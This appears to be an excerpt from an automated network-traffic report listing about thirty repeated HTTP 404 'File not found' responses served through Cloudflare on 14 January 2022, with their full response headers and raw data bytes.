Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:30 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=M68OGhqQEPxISEtsq3%2B5H%2FacME1RbwOvO0nDBEz1uxYpVByK3taPs0%2Fqmqaw72x63%2BIeUJaLo%2FOxOewiB042x6no%2B9SIy1aKbFAO63Js7EYkJ%2FigW6rsaVY9WXkN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd730cfca0f2199-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:32 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bLPL1apjWIi%2FQT07ycYbV1MKsMRYQ3dKEOqXP4PeN3UTzD3LbRQE6A7cE1yOR4GeNNfNzZpHhyijJcKc067J50RlhtmlwjQoY1%2BXZ68si4VJhySftXIBnfteo2uk"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd730d8fb134bdd-AMSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:33 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BZtSZWSuZoGDTDEek1iQ%2BbCSgcHWt2TDaku2Hp9VK0tn7OUHo%2BuTrbydgLb3W49GEdKDwuRX4Do57txLMlkGOK5k00FDPIaLLAv0EHeQc62Uz0VEE8IZW6spjHk3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd730e228f8717b-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:34 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LgJg09fdfh163T5amD1arIYDv%2FNwSAADTX4ablO%2FZYppqWhI9Tk4rVdpHkhMtQP9XjHiYkj3GHAo44zVwo%2Fl5HrWcAQOLmjqJ4%2BVZZaQ9W94HGXsRqkwMK8uHqtt"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd730eb7b0e68eb-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:36 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ug8%2FAGi89aQisThCg%2BnxGvAgvoNw%2Fic%2BvC8b4kXYDPt1fAulMzxSdpmEX%2BIe7CQNaf7o5RL2%2FStbKvWuv6tXYQefJhyvAip%2F2mwNrm%2BoNWkg%2FkyeCXqekKD%2Fagql"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd730f3cf35cdbf-CDGalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:37 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xPKJxy99APDIhlVAha7cTUa%2FITUb7rrhYx9hVKGRS504XUq1CplU5Mj0hHOtPQIQw45EcMbbtTr6VwAC5jC%2FVRmTE8d7YFkiiqSNayLb93LRwpY3g8O3gjh300dc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd730fc5ead3bd4-CDGalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:39 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9kbgl8GYzYqDHxzTNpojc1OOLQ9g7Uf2N9Fg8XRZwk5oYDgucvNB4Ij3BciCJ263fVh2RHwrMkc9HdwWWr9sfh1CNnhScLcUpwtae4XvqbXAnAbelGSSTkwFMZIp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd731064b4e4bf5-AMSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:41 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZgGoPHBueohZRmwh5mDFogsODharUtfq9CNIDypSehPnxGQ5cggmwF%2BO%2FLutdMI3%2FxmnUtgX6aXATJnX8PJ4qWyQmUplB26zccPzxzejORfjwOaxeTtHlih6a%2FCl"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd73116fa2a2014-AMSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:44 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uvYvXjYPLMwGtndoIeApkR0ECRQ3x8cuNoQFYarnTRWoAt8vBuDfRyycp3q75GFmWPK%2Bc8H6FvlZmS50XvQsKeeLZbEhNl6SodeIRaysfC3rcNPunWHZQRXkAccQ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd73125dc534242-AMSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:46 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dal10SZcT1tL%2FuvxOfyxO2m0u%2FF2fcKDAf6OUzw7FSKfnQU89eXnekvZ%2F0sSOez89pJQMhyFfrM8vcaIrlrZ3VCppeUQcEW3YOn8z%2FVhm4J8pXuX3S%2FV3SMmDQaF"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd73135cc481ee7-AMSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:48 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wpyAwjfJFUCS82v8TaElEXzTWShQhtQiJb93uGnV0KxbylLElIs6i%2BYixkVZmOpJCwkN3nPbiIZ2kc1uQASuAM1P49MhRlztH10tpn9pSAeRFdgoqae8CA3i1AFM"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd731411da83ba3-CDGalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:50 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LXsNoX67xKYIOkJtyuMYXG%2B2NDusQ7rQ2Lr6CWwfFGY6Tnt%2FktGdOjES9LEQKjyc3XTahUJkuTvOoYoLm6mAMARa4ZknwjsKj8%2BUwHoDs2FhNjd9v8xHoFZjVNGO"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7314be956695e-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:52 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ftz2WOk1p%2BDDAbf5X9IOG9113w6gCMkpMwhBgkDAFd3Q%2FYEbCO5G5AUB0oNVxHMiDfMaFilkV3DQUXxCsFq2rycZzsswGgs82RcZROk0Bw7tXhpkTKBzxX5%2BT9F2"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7315688288b8a-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:53 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wDGp1Oy9HbaC4yr2lUMdpdFPuUFOf4XKBQmLKcz%2B%2FGOF3Qi0E%2FBBx%2BOGiKvEXsBwxoaqsQTZSamfYBlZf8b0RA81%2BDty9I1Dtr5uZlJk7JEAveVTZOu3cfKlGl1F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7315f49a2716e-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:55 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jCvc1U0c1tN8iO6BaKruFdADsQSpn5I1LqLJlB%2BzBz01yfvoHPAmlyy%2FMDZj4p7oybDxInvculkNpZdhfeRr4L1caCFmHWq1YrmXkjgwnTyl94jXHWZSNC2T4Ttc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7316abb96717b-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:57 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uHfXZBYQdshooUaQuzbYJcvo9mOuNBa76dW4JZDk4UArpHKYn%2Fc%2BszzOH07CY4vbXKzBK2ZoeBEX5GaOGMSjayGafdHfYhmOususAbHIflJpDP%2Fb0N%2BDR4BtqVZx"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7317a5b3c409f-CDGalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:25:59 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SMTPnJ325vghWLNNjG2zelmaLADkubjhY3eMe4D37v4kPwvlXilvMCK%2FK94aUpgg26lOVcet33gjLb3R4F3U8iucT1AzCaBDoALvhB0jFmdasLsb3QnLuKtesfzf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd73185bea64eaf-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:01 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=atqdpgwD3aXEHkvBrkTfE0gOJhiOB%2FVogHc%2Fr3MT9S%2BaVfj%2BWsubd9uuf%2B1PrHsXXeCrWTWsH%2FrzCTAFKpaHUBx5oGrvQHmybKb6RcHUjdFM7c79XL7%2BKD7LRwF%2B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd73191f9fa0b88-AMSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:03 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sVSQx7JSh5kkI06QpSl7v55J7KKqO9lFEn2iMRzg6%2BUOeU%2Fy3Aq6IG5kV1FHqakiZzz4EicIyOGG8RnMuqxDZLPypqcmJO2U0hc%2B2zZd%2BwmLacxzYdzWPgrdjk1f"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7319aed0d8bf3-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:05 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rV3S9lOgi8z1FfYbFIHzMOM6aDgwG5U6YR15jhb38BDbjcsPQLIBWG6uxn0vl%2BLFkOwnqhPhVHiE5J91GO215rZ%2B49bV5mb%2FFIVHhPTM2BvhV3YC96lKRa6xigXA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd731a40ef5695b-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:06 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=M6pCooKyP1ogsWi7vXjAPUvz6pO8KFflAkgCXcVje77%2BRl%2BCrMNWz04vzD9V56Bgb3opkx4MKrUFcyLnJD3GtGJoxdzG2BnCib2blh023Qa%2FXk9sFw0dS8Ngjnj9"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd731b06cf6b787-CDGalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:08 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LdEYtIthMhRiRyTxJferZj3fyklSP6%2FZg3xS2f6sYT45iOUxDIiJcy%2BakoBX0c4%2FzVEOjpZ7B0OUN%2F2JYaOsI5MQ2y1kmF4Vtg1jsz4qgqZxeSukFFtc6EDz76yb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd731ba1b04694c-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:11 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Mves1NIsqvGBXag2QTG5swHj6IlRSm5idrymSWQcEoWrRdDvxa1bU8fIDEM%2B%2F0Z%2FRrcnEFFneKoJmx5%2BnUrNE82UB4%2BF3K81ufWM%2FBCxwyea3ilLxKIlui3%2FCA0a"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd731cb59cf7181-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:12 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bKQFJy%2By3rfUww7H7Z%2BsceGDYiXyes8NRxtLSASqGUrKVcLsCy6QO%2BCNYQcm%2F4NH0wZEcVTX2Rad3zKZ1EvHomshSA2wXNg1jaMeWVZVrtiWw2h4fxr4hV7sTe8f"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd731d6fd6f7a55-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:17 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KwDY2sA65K%2BVOpXcFoqUlqVHUxep0vH05eKs73Kv1HB4q%2FXh%2BNGRJ4J%2BcN5u7Nf28PpbKElf8SNdmcWnlFVtcE3DF9elXbvwVk07pupNLbq%2BdQwXBrSmjDrfUXxt"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd731f63a1a4dca-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:21 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fCT4Kj%2BXgMLvYA0ag5GlxdCZDwJR8FXTC4VlXmyGO2K0YkZWUxqaHSMdOq63zoHjrYSu3hEfny9YxZLnlR3rhj9yMwitIrwP7i1tUbjo4Y%2Fi6sB6YSJCJRSUEXjN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7320fb9c67163-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:26 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1lPu08ijR8xqa%2FLRHGm%2FgAv947c3opROPlGooJmrtx7LP15TbJ3lgpeEu51NzV1flv5m7EATqHr4fm9P9qcGIHysPEpKkBR32vSDO71PxNWyoQJR7A9z66HLmxRj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7322c4c2b5c56-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:31 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ne8o3Wm34pLjW7KScqi7R56w7QyjrCCugLyQyqTwFr2nLSqTFtyo5FDMWiKRP9lKBYPJIp1Lb7201a4Np8LJvBesvoOsOSPqMvz8ALSAUYxNLRuTuiARd4ibfIyz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd7324f3eb0535d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:35 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YnNEu%2B6zItX8IuIFpB3sX2430elU53UrcTDd4MzS5ywAw2%2Bh1c01vrlSa%2FhDCOcVpguSWeBGhE1od9kKJ5vm8avvGcxQRQwQU9DAhDfTg1B1p4SzmIyCwn8BSVN5"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd732672dd67180-DUSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 14 Jan 2022 13:26:38 GMTContent-Type: text/html; charset=UTF-8Connection: closestatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=frcFsmSz9eLqp1DVxZWeJnvDypshx0cW2P0qlZGlTrsrLXaIoz0G%2BUP%2FyIe6wetkvr7ZoLRncTcJ22FjnhUX6tqAQTm2xhPfBhp8%2FuYV9PGEfVL%2Bt%2BqwpNxz6982"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6cd732752f244c9d-AMSalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
